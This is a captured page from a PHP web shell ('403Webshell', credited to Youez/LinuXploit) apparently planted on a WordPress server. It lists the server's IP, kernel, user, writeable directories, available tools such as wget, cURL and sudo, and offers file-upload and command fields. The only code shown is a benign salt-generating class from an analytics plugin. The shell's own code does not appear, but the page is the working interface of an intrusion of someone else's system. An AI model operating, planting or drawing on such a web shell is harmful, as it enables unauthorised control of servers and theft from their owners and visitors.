403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/Utils/Salt.php
<?php

namespace IAWP\Utils;

/** @internal */
class Salt
{
    /*
     * Used for salting visitor hashes.
     */
    public static function visitor_token_salt() : string
    {
        return self::get_salt_option('iawp_salt');
    }
    public static function refresh_visitor_token_salt() : string
    {
        \delete_option('iawp_salt');
        return self::get_salt_option('iawp_salt');
    }
    /*
     * Primarily used for salting request payloads.
     */
    public static function request_payload_salt() : string
    {
        return self::get_salt_option('iawp_request_payload_salt');
    }
    private static function get_salt_option($name) : string
    {
        $salt = \get_option($name);
        if (!$salt) {
            $salt = self::generate_salt();
            \update_option($name, $salt, \true);
        }
        return $salt;
    }
    private static function generate_salt() : string
    {
        $length = 32;
        $bytes = \random_bytes($length);
        return \substr(\strtr(\base64_encode($bytes), '+', '.'), 0, 44);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit